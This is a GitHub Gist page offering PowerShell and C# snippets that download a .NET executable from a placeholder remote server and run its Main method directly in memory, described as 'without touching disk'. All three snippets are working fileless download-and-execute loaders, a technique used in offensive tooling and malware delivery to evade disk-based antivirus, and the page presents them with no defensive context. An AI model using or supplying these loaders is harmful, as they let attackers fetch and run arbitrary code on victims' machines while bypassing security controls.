Last active
March 9, 2022 16:42
-
-
Save FrankSpierings/283d9817d7d9b97b5d0592e6bd1a5a99 to your computer and use it in GitHub Desktop.
Load the main of an executable from a remote server, without touching disk.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$url = "http://server/dotnetexecutable" | |
$data = (New-Object System.Net.WebClient).DownloadData($url); | |
$assem = [System.Reflection.Assembly]::Load($data); | |
$main = $assem.EntryPoint | |
$main.Invoke(0, @(,[string[]]@("args0"))); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Net; | |
using System.Reflection; | |
public class Run { | |
public static void Main() { | |
string url = "http://server/dotnetexecutable"; | |
WebClient wc = new WebClient(); | |
byte[] bytes = wc.DownloadData(url); | |
string[] args = new string[] {"args0"}; | |
Object[] parameters = new object[] {args}; | |
Assembly.Load(bytes).GetType("Namespace.Class").GetMethod("Main", BindingFlags.NonPublic|BindingFlags.Static).Invoke(0, parameters); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$data = (New-Object System.Net.WebClient).DownloadData('http://server/dotnetexecutable'); | |
$assem = [System.Reflection.Assembly]::Load($data); | |
$class = $assem.GetType("Namespace.Class"); | |
$method = $class.GetMethod('Main', [Reflection.BindingFlags]'NonPublic, Static'); | |
$method.Invoke(0, @(,[string[]]@("args0"))); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment